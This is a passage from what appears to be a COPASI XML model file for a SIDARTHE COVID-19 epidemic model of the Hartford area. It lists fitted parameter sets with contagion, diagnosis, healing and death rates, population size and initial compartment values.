<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="8.9249181186445678e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="8.924918118644567e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.7849836237289136e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="4.4624590593222839e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999996584319395" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.88681962287054228" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.6668576779537139" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.047592586321415123" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.8868195925796164" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="8.924918118644567e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.7849836237289136e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="8.9249181186445678e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="4.4624590593222839e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.21989961072439684" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515199" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.047592581447934781" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515199" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515199" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.0380584696844498" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="2.5137393895755729" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="2.5137393895755729" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="2.5137393895755729" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.22296364097327862" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.125" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_22" name="model3 - 4/18">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_22">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-18T16:03:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572663" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="2.9528601618643062" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.59057203237286127" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.29528601618643063" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.14764300809321532" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607843137254899" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607843137254899" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.041072242343031459" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="2.2795530925764331" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="2.2795530925764331" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15151515151515199" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15151515151515199" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.22837568510071218" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="2.2795530925764331" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.125" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.038479382817439345" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="2" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="2" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="2.4756315239489819" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="2.4756315239489819" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="2.4721404864346166" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.3798908366158642" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.16347938281743934" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.2027423670830355" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="8.2651470593081247e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="8.2651470593081247e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="1.6530294118616249e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="4.1325735296540624e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.87182484901179713" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="3.2481443597183834" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.041072242343031459" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.87182484901179713" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ImmuneRatio]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1]" value="0" type="ModelValue" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="8.2651470593081247e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.6530294118616249e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="8.2651470593081247e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="4.1325735296540624e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254899" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.041072242343031459" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515199" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515199" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.038479382817439345" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
